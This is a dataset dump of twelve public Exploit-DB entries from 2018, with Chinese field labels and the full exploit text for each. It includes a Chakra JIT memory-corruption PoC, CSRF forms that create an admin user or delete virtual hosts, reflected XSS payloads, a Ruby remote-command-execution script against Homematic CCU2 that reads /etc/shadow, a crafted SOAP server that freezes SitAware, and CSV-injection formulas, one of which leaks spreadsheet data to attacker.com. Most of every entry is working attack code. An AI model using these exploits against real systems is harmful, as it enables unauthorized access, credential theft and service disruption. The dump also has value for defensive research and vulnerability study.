QLWD/code_shield huggingface dataset:
标题: Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix) (1) EDB-ID: 44396 CVE: 2018-0934 2018-0933 类型: DOS 平台: WINDOWS 发布日期: 2018-04-03 漏洞利用脚本: /*
Here's a snippet of JavascriptArray::BoxStackInstance. To fix  issue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix.

    template <typename T>
    T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
    {
        Assert(ThreadContext::IsOnStack(instance));
        // On the stack, the we reserved a pointer before the object as to store the boxed value
        T ** boxedInstanceRef = ((T **)instance) - 1;
        T * boxedInstance = *boxedInstanceRef;
        if (boxedInstance)
        {
            return boxedInstance;
        }

        const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
        if (ThreadContext::IsOnStack(instance->head))
        {
            boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
                inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
                T, instance, true, deepCopy);
        }
        else if(inlineSlotsSize)
        {
            boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
        }
        else
        {
            boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);
        }

        *boxedInstanceRef = boxedInstance;
        return boxedInstance;
    }

PoC:
*/

function inlinee() {
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */

    let stack_arr = [];

    // Allocate stack_ar->head to the heap
    stack_arr[20] = 1.1;

    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++)
        opt(new Function(''));  // Prevents to be inlined

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main(); URL: https://www.exploit-db.com/exploits/44396
标题: WampServer 3.1.1 - Cross-Site Scripting / Cross-Site Request Forgery EDB-ID: 44384 CVE: 2018-8732 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-02 漏洞利用脚本: # Exploit Title: WampServer 3.1.1 XSS via CSRF
# Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.1
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8732


1. Description

XSS: cross site scripting via CSRF is remotely exploitable.
http://forum.wampserver.com/read.php?2,138295,150615,page=6#msg-150615

http://forum.wampserver.com/read.php?2,150617

2. Proof of Concept


How to exploit this XSS vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Go to Supress Virtual host and select one to delete and then intercept
the request using burp suite or any other proxy tool
3. Change the value of parameter *virtual_del[] *to "><img src=x
onerror=alert(1)> and forward it then you will see the XSS triggered.

How to see it:
1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
  <body onload="wamp_csrf.submit();">
    <form action="[localhost]; name="wamp_csrf" method="POST">
      <input type="hidden" name="virtual&#95;del&#91;&#93;"
value=""><img&#32;src&#61;x&#32;onerror&#61;alert&#40;1&#41;>"
/>
      <input type="hidden" name="vhostdelete"
value="Suppress&#32;VirtualHost" />
    </form>
  </body>
</html>

Warning: action="[localhost] is action='
http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by
double quote("[image: winking smiley]


3. Solution:

Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper URL: https://www.exploit-db.com/exploits/44384
标题: WordPress Plugin WP Security Audit Log 3.1.1 - Sensitive Information Disclosure EDB-ID: 44371 CVE: 2018-8719 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-30 漏洞利用脚本: # Exploit Title: WP Security Audit Log Plugin, Sensitive Information Disclosure <= 3.1.1 
# Google Dork: inurl:/wp-content/uploads/wp-security-audit-log/
# Date: 3/13/2018
# Exploit Author: Colette Chamberland, Defiant, Inc.
# Vendor Homepage: http://wpwhitesecurity.com
# Software Link: https://wordpress.org/plugins/wp-security-audit-log/
# Version: <=3.1.1
# Tested on: Wordpress 4.9.x
# CVE : CVE-2018-8719

Description:
No protection on the wp-content/uploads/wp-security-audit-log/*
which is indexed by google and allows for attackers to possibly find user information (bad login attempts)

/wp-security-audit-log/classes/Sensors/System.php':
$upload_dir = wp_upload_dir();
$uploads_dir_path = trailingslashit( $upload_dir['basedir'] ) . 'wp-security-audit-log/404s/users/';
$uploads_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-security-audit-log/404s/users/';

/wp-security-audit-log/classes/Sensors/LogInOut.php':
// Directory for logged in users log files.
  $user_upload_dir    = wp_upload_dir();
  $user_upload_path   = trailingslashit( $user_upload_dir['basedir'] . '/wp-security-audit-log/failed-logins/' );
  if ( ! $this->CheckDirectory( $user_upload_path ) ) {
   wp_mkdir_p( $user_upload_path );
  } URL: https://www.exploit-db.com/exploits/44371
标题: D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router - Authentication Bypass EDB-ID: 44378 CVE: 2018-9032 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-30 漏洞利用脚本: # Exploit Title: D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Route Authentication Bypass
# CVE: CVE-2018-9032
# Date: 24-03-2018
# Exploit Author: Gem George
# Author Contact: https://www.linkedin.com/in/gemgrge
# Vulnerable Product: D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router http://www.dlink.co.in/products/?pid=628
# Firmware version: 1.02-2.06
# Hardware version: A1, B1
# Vendor Homepage: https://dlink.com


Vulnerability Details
======================
An authentication bypass vulnerability on D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router potentially allows attackers to bypass SharePort Web Access Portal by directly accessing authenticated pages such as /category_view.php or /folder_view.php. This could potentially allow unauthorized remote access of media stored in SharePort and may perform write operation in the portal

How to exploit
===================
Directly call authenticated URLs to bypass authentication

Examples:
* http://[router_ip][port]/category_view.php
* http://[router_ip][port]/folder_view.php

POC
=========
* https://youtu.be/Wmm4p8znS3s URL: https://www.exploit-db.com/exploits/44378
标题: Frog CMS 0.9.5 - Cross-Site Request Forgery (Add User) EDB-ID: 44383 CVE: 2018-8908 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-02 漏洞利用脚本: # Exploit Title: Cross Site Request Forgery- Frog CMS
# Date: 31-03-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Version: 0.9.5
# CVE :  CVE-2018-8908
# Category: Webapp CMS


1. Description

The application source code is coded in a way which allows malicious HTML
request to be executed without veryifying source of request.This leads to
arbitary execution with malicous request which will lead to the creation of
a privileged user.

2. Proof of Concept

      Visit the application
      Visit the Add Users Page.
      Craft an html page with all the details for an admin user creation
and host it on a server
      Upon the link being clicked by a logged in admin user, immidiately,
another admin user will get created.

Exploit Code:

<html>
  <body>
    <form action="http://localhost/frog/admin/?/user/add" method="POST">
      <input type="hidden" name="user&#91;name&#93;" value="Test&#95;1" />
      <input type="hidden" name="user&#91;email&#93;" value="" />
      <input type="hidden" name="user&#91;username&#93;" value="test" />
      <input type="hidden" name="user&#91;password&#93;" value="test" />
      <input type="hidden" name="user&#91;confirm&#93;" value="test" />
      <input type="hidden"
name="user&#95;permission&#91;administrator&#93;" value="1" />
      <input type="hidden" name="commit" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


3. Solution:

Solution - Fix & Patch: The application code should be configured to
implement anti csrf token to filter malicous HTTP Requests.


4. Public Reference with POC and steps:

http://securitywarrior9.blogspot.in/2018/03/cross-site-request-forgery-frog-cms-cve.html

Thanks and Regards
Samrat URL: https://www.exploit-db.com/exploits/44383
标题: Systematic SitAware - NVG Denial of Service EDB-ID: 44375 CVE: 2018-9115 类型: DOS 平台: XML 发布日期: 2018-03-30 漏洞利用脚本: # Exploit Title: SitAware NVG Denial of Service 
# Date: 03/31/2018
# Exploit Author: 2u53
# Vendor Homepage: https://systematic.com/defence/products/c2/sitaware/
# Version: 6.4 SP2
# Tested on: Windows Server 2012 R2
# CVE: CVE-2018-9115

# Remarks: PoC needs bottlypy:
# https://bottlepy.org/docs/dev/
# https://raw.githubusercontent.com/bootlepy/bottle/master/bottle.py

# Systematic's SitAware does not validate input from other sources suffenciently. Incoming information utilizing 
# the for example the NVG interface. The following PoC will freeze the Situational Layer of SitAware, which means
# that the Situational Picture is no more updated. Unfortunately the user can not notice until 
# he tries to work with the situational layer. 


#!/bin/python

from bottle import post, run, request, response

LHOST = 127.0.0.1 # Local IP which the NVG server should use
LPORT = 8080 # Local Port on which the NVG server should listen

GET_CAPABILITIES = '''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body>
<ns3:GetCapabilitiesResponse xmlns="http://purl.org/dc/elements/1.1/" xmlns:ns2="http://purl.org/dc/terms/" xmlns:ns3="http://tide.act.nato.int/schemas/2008/10/nvg" xmlns:ns4="http://tide.act.nato.int/wsdl/2009/nvg">
<ns4:nvg_capabilities version="1.5">
</ns4:nvg_capabilities>
</ns3:GetCapabilitiesResponse>
</soap:Body>
</soap:Envelope>'''

EVIL_NVG = '''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body>
<ns3:GetNvgResponse xmlns="http://purl.org/dc/elements/1.1/" xmlns:ns2="http://purl.org/dc/terms/" xmlns:ns3="http://tide.act.nato.int/schemas/2008/10/nvg" xmlns:ns4="http://tide.act.nato.int/wsdl/2009/nvg">
<ns4:nvg version="1.5" classification="NATO UNCLASSIFIED">
<ns4:multipoint points="-0.01,0.01 0.02,-0.02 0.01,0.01" symbol="2525b:GFTPZ---------X"
label="EVILOBJ"/>
</ns4:nvg>
</ns3:GetNvgResponse>
</soap:Body>
</soap:Envelope>'''

@post('/nvg')
def soap():
    action = dict(request.headers.items()).get('Soapaction')
    action = action.replace('"', '')
    print('Incoming connection')

    response.content_type = 'text/xml;charset=utf-8'

    if action.endswith('nvg/GetCapabilities'):
        print('Sending capabilities to victim'...)
        return GET_CAPABILITIES
        print('Done! Waiting for NVG request...')
    elif action.endswith('nvg/GetNvg'):
        print('Sending evil NVG')
        return EVIL_NVG
        print('Done!')
    else
        print('Invalid request received')

run(host=LHOST, port=LPORT) URL: https://www.exploit-db.com/exploits/44375
标题: WampServer 3.1.2 - Cross-Site Request Forgery EDB-ID: 44385 CVE: 2018-8817 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-02 漏洞利用脚本: # Exploit Title: WampServer 3.1.2 CSRF to add or delete any virtual hostsremotely
# Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.2
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8817


1. Description

CSRF (Cross site request forgery) in WampServer 3.1.2 which allows a remote
attacker to force any victim to add or delete virtual hosts.

http://forum.wampserver.com/read.php?2,138295,150722,page=6#msg-150722

2. Proof of Concept

How to exploit this CSRF vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Now intercept the request with proxy tool like burp suite.
3. Now make a CSRF PoC of the request and to exploit you can host it on
internet and send the link to the victim.

*Exploit Code for deleting any host remotely:*

1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
  <body onload="wamp_csrf.submit();">
    <form action="http://localhost/add_vhost.php?lang=english"
name="wamp_csrf" method="POST">
      <input type="hidden" name="virtual&#95;del&#91;&#93;"
value="localhost" />
      <input type="hidden" name="vhostdelete" value="Suppress&#32;VirtualHost"
/>
    </form>
  </body>
</html>

2. Then run it on your installed vulnerable wampserver.

3. Solution:

Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper URL: https://www.exploit-db.com/exploits/44385
标题: WordPress Plugin Contact Form 7 to Database Extension 2.10.32 - CSV Injection EDB-ID: 44367 CVE: 2018-9035 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-30 漏洞利用脚本: # Exploit Title : Contact Form 7 to Database Extension Wordpress Plugin CSV Injection
# Date: 23-03-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: None
# Software Link: https://wordpress.org/plugins/contact-form-7-to-database-extension
# Version: 2.10.32
# CVE : CVE-2018-9035
# Category : webapps

Description
===========
Contact Form 7 to Database Extension is a WordPress plugin with more than 400.000 active installations. Development is discontinued since 1 year. Version 2.10.32 (and possibly previous versions) are affected by a CSV Injection vulnerability.

Vulnerable part of code
=======================
File: contact-form-7-to-database-extension/ExportToCsvUtf8.php:135 prints value of column without checking if it contains a spreadsheet formula.

Impact
======
Arbitrary formulas can be injected into CSV/Excel files. 
This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.

Proof of Concept
============
In order to exploit this vulnerability, the attacker needs to insert an Excel formula into any of the contact form fields available. This will end up in the log, and if a WordPress administrator chooses to export this log as Excel/CSV file, the file will contain the formula. If he then opens the file, the formula will be calculated. 

Example:

=cmd|'/C calc.exe'!Z0

or

=HYPERLINK("http://attacker.com/leak?="&A1&A2, "Click to load more data!")


Solution
========

The plugin should escape fields starting with '=' when it exports data to CSV or Excel formats. URL: https://www.exploit-db.com/exploits/44367
标题: Homematic CCU2 2.29.23 - Remote Command Execution EDB-ID: 44368 CVE: 2018-7297 类型: WEBAPPS 平台: CGI 发布日期: 2018-03-30 漏洞利用脚本: #!/usr/bin/ruby

# Exploit Title: Homematic CCU2 Remote Command Execution
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7297

# Description: http://atomic111.github.io/article/homematic-ccu2-remote-code-execution

require 'net/http'
require 'net/https'
require 'uri'

unless ARGV.length == 2
  STDOUT.puts <<-EOF
Please provide url and the command, which is execute on the homematic

Usage:
  execute_cmd.rb <ip.adress> <homematic command>

Example:
  execute_cmd.rb https://192.168.1.1 "cat /etc/shadow"

  or

  execute_cmd.rb http://192.168.1.1 "cat /etc/shadow"

EOF
  exit
end

# The first argument specifies the URL and if http or https is used
url = ARGV[0] + "/Test.exe"

# The second argument specifies the command which is executed via tcl interpreter
tcl_command = ARGV[1]

# define body content
body = "string stdout;string stderr;system.Exec(\"" << tcl_command << "\", &stdout, &stderr);WriteLine(stdout);"

# split uri to access it in a easier way
uri = URI.parse(url)

# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|

  # define post request
  request = Net::HTTP::Post.new(uri.request_uri)

  # define the request body
  request.body = body

  # send the request to the homematic ccu2
  response = http.request(request)

  # print response to cli
  puts response.body
end URL: https://www.exploit-db.com/exploits/44368
标题: WordPress Plugin Relevanssi 4.0.4 - Reflected Cross-Site Scripting EDB-ID: 44366 CVE: 2018-9034 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-30 漏洞利用脚本: # Exploit Title : Relevanssi Wordpress Search Plugin Reflected Cross Site Scripting (XSS)
# Date: 23-03-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: https://www.relevanssi.com
# Software Link: https://wordpress.org/plugins/relevanssi
# Version: 4.0.4
# CVE : CVE-2018-9034
# Category : webapps

Description
===========
Relevanssi is a WordPress plugin with more than 100.000 active installations. Version 4.0.4 (and possibly previous versions) are affected by a Reflected XSS vulnerability.

Vulnerable part of code
=======================
File: relevanssi/lib/interface.php:1055 displays unescaped value of $_GET variable 'tab'.

..
1049 if( isset( $_REQUEST[ 'tab' ] ) ) { 
1050 $active_tab = $_REQUEST[ 'tab' ]; 
1051 } // end if 
1052
1053 if ($active_tab === "stopwords") $display_save_button = false; 
1054
1055 echo "<input type='hidden' name='tab' value='$active_tab' />"; 
..

Impact
======
Arbitrary JavaScript code can be run on browser side if a logged in WordPress administrator is tricked to click on a link or browse a URL under the attacker control.
This can potentially lead to creation of new admin users, or remote code execution on the server.

Proof of Concept
============
In order to exploit this vulnerability, the attacker needs to have the victim visit the following link:

/wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab='><SCRIPT>var+x+%3D+String(%2FXSS%2F)%3Bx+%3D+x.substring(1%2C+x.length-1)%3Balert(x)<%2FSCRIPT><BR+

Please note that quotes and double quotes are properly escaped by WordPress, however javascript escaping (\) is applied while the value is in an HTML attribute. There, escaping a quote by \' has no effect (&quot should be used). This allows us to break out of the HTML attribute and start the script tag. Within the script, quotes are properly escaped but there are ways to obfuscate javascript without requiring these symbols as can be seen in above payload.


Solution
========

Update to version 4.1 URL: https://www.exploit-db.com/exploits/44366
标题: Joomla! Component Acymailing Starter 5.9.5 - CSV Macro Injection EDB-ID: 44369 CVE: 2018-9107 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-30 漏洞利用脚本: # Exploit Title: Joomla! Component Acymailing Starter 5.9.5 CSV Macro
Injection
# Google Dork: N/A
# Date: 22-03-2018
################################
# Exploit Author: Sureshbabu Narvaneni
################################
# Vendor Homepage: https://www.acyba.com
# Software Link: https://extensions.joomla.org/extension/acymailing-starter/
# Affected Version: 5.9.5
#Category: WebApps
# Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686
# CVE : CVE-2018-9107

1. Vendor Description:

AcyMailing is a reliable Newsletter and email marketing extension for
Joomla.
It enables you to efficiently manage an unlimited number of subscribers,
organize them into mailing lists, send personalized newsletters (Hi
{name}...)

2. Technical Description:

CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
the export feature in the Acyba AcyMailing extension before 5.9.6 for
Joomla! via a value that is mishandled in a CSV export.

3. Proof Of Concept:

Login as low privileged user who is having access to Acymailing Component.
Rename user name as @SUM(1+1)*cmd|' /C calc'!A0.

When high privileged user logged in and exported user data then the CSV
Formula gets executed and calculator will get popped in his machine.

4. Solution:

Upgrade to version 5.9.6
https://extensions.joomla.org/extension/acymailing-starter/

5. Reference:
https://github.com/MrR3boot/CVE-Hunting/blob/master/AcyStarter-CSV.mp4
https://vel.joomla.org/articles/2140-introducing-csv-injection

Sureshbabu Narvaneni,
Security Analyst | Bug Hunter,
HackerOne (mrreboot/mrr3boot) | BugCrowd (Mr_R3boot) URL: https://www.exploit-db.com/exploits/44369
标题: Joomla! Component AcySMS 3.5.0 - CSV Macro Injection EDB-ID: 44370 CVE: 2018-9106 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-30 漏洞利用脚本: # Exploit Title: Joomla! Component AcySMS 3.5.0 CSV Macro Injection
# Google Dork: N/A
# Date: 22-03-2018
################################
# Exploit Author: Sureshbabu Narvaneni
################################
# Vendor Homepage: https://www.acyba.com
# Software Link: https://extensions.joomla.org/extensions/extension/communication/phone-a-sms/acysms/
# Affected Version: 3.5.0
# Category: WebApps
# Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686
# CVE : CVE-2018-9106

1. Vendor Description:

AcySMS is a component which enables you to send follow-up campaigns,
auto-responders, newsletters, promotions, special offers, automated
messages... via SMS/Text Messages.

2. Technical Description:

CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
the export feature in the Acyba AcySMS extension before 3.5.1 for Joomla!
via a value that is mishandled in a CSV export.

3. Proof Of Concept:

Login as low privileged user who is having access to AcySMS Component.
Rename user name as @SUM(1+1)*cmd|' /C calc'!A0.

When high privileged user logged in and exported user data then the CSV
Formula gets executed and calculator will get popped in his machine.

4. Solution:

Upgrade to version 3.5.1
https://extensions.joomla.org/extensions/extension/communication/phone-a-sms/acysms/


5. Reference:

https://vel.joomla.org/articles/2140-introducing-csv-injection
https://github.com/MrR3boot/CVE-Hunting/blob/master/AcySMS-CSV.mp4



Sureshbabu Narvaneni,
Security Analyst | Bug Hunter,
HackerOne (mrreboot/mrr3boot) | BugCrowd (Mr_R3boot) URL: https://www.exploit-db.com/exploits/44370